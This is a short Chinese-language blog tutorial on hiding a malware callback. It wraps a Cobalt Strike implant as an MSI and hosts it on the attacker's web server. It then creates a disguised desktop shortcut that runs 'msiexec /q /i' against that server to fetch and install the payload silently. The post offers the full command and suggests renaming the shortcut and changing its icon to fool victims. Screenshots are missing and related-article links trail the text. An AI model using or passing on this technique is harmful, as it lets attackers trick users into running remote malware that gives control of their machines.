利用msiexec+lnk隐藏上线

Posted chuantouli

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用msiexec+lnk隐藏上线相关的知识,希望对你有一定的参考价值。

1、首先将exe转换为msi,下载安装msi wrapper https://www.exemsi.com/,安装运行

技术图片

 

 

 

2、选中上线exe,和生成msi,一直next,后面有弹窗警告就对应调一下就好了

技术图片

 

 3、生成完后放到公网的web下面,这里直接放在cs的web服务器下

技术图片

 

 4、桌面新建快捷方式,填入以下msiexec下载安装的命令,命名xxx.lnk,就自由发挥了,根据场景而定,再更换些图标啥的

C:WindowsSystem32msiexec.exe /q /i  http://192.168.52.138:80/wobushimuma.msi

技术图片

 

5、成功上线,综合来说,效果也许没flash好,不过还是有上线率的

 技术图片

 

以上是关于利用msiexec+lnk隐藏上线的主要内容,如果未能解决你的问题,请参考以下文章

win7系统,想把桌面上的lnk隐藏掉,但是又不想把别的文件的拓展名隐藏,以前都不会这样的

Sphinx、reStructuredText 显示/隐藏代码片段

可疑的桌面快捷方式: 360安全浏览器.lnk, 文件被隐藏。

LNK文件(快捷方式)远程代码执行漏洞复现过程(CVE-2017-8464)

在android中显示隐藏片段

msf下的LNK漏洞(CVE-2017-8464)利用